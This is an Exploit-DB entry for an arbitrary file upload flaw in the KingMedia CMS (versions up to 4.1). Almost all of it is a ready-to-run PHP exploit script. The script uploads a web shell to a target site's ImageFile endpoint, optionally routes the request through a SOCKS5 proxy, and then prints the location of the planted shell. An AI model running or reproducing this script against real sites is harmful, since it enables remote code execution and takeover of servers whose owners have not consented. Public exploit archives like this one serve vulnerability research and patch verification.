KingMedia 4.1 - Remote Code Execution

EDB-ID: 45237
Author: Efrén Díaz
Published: 2018-08-22
CVE: N/A
Type: Webapps
Platform: PHP
Vulnerable App: Download Vulnerable Application

 # Author: Efren Diaz 
# Exploit Date: 2018-08-15
# Software: KingMedia
# Version: 1.x, 2.x, 3.x, 4.1
# Link: https://codecanyon.net/item/king-media-video-image-upload-and-share/7877877
# CVE: N/A

<?php
// Author: Efren Diaz (elefr3n)
// https://twitter.com/elefr3n

echo "--------------------------------------------\n";
echo "KING MEDIA CMS ARBITRARY FILE UPLOAD EXPLOIT\n";
echo "--------------------------------------------\n";

if (!isset($argv[2]))
{
echo "\nUsage: exploit.php <target> <file> <socks5>\n\n";
echo " -target: http://site.com/... (required)\n";
echo " -file: shell.php (required)\n";
echo " -socks5: 127.0.0.1:1337 (optional)\n\n";
} else {
echo "\nUploading file...\n\n";

$file = $argv[2];
$target = $argv[1];

$mimeType = image_type_to_mime_type(exif_imagetype($file));
$cFile = curl_file_create($file, $mimeType, $file);

$post = array(
'ImageFile'=> $cFile
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-Requested-With: XMLHttpRequest"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

if (isset($argv[3])) {
curl_setopt($ch, CURLOPT_PROXY, isset($argv[3]));
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
}
$result=curl_exec($ch);

preg_match_all('/src="(.*)" alt="Resized/i',$result,$uploaded_shell);

if (isset($uploaded_shell[1][0])) {
echo "PWNED ! :D \n\n{$uploaded_shell[1][0]}\n\n";
} else {
echo "Something was bad... str result:\n{$result}";
}
curl_close ($ch);
}

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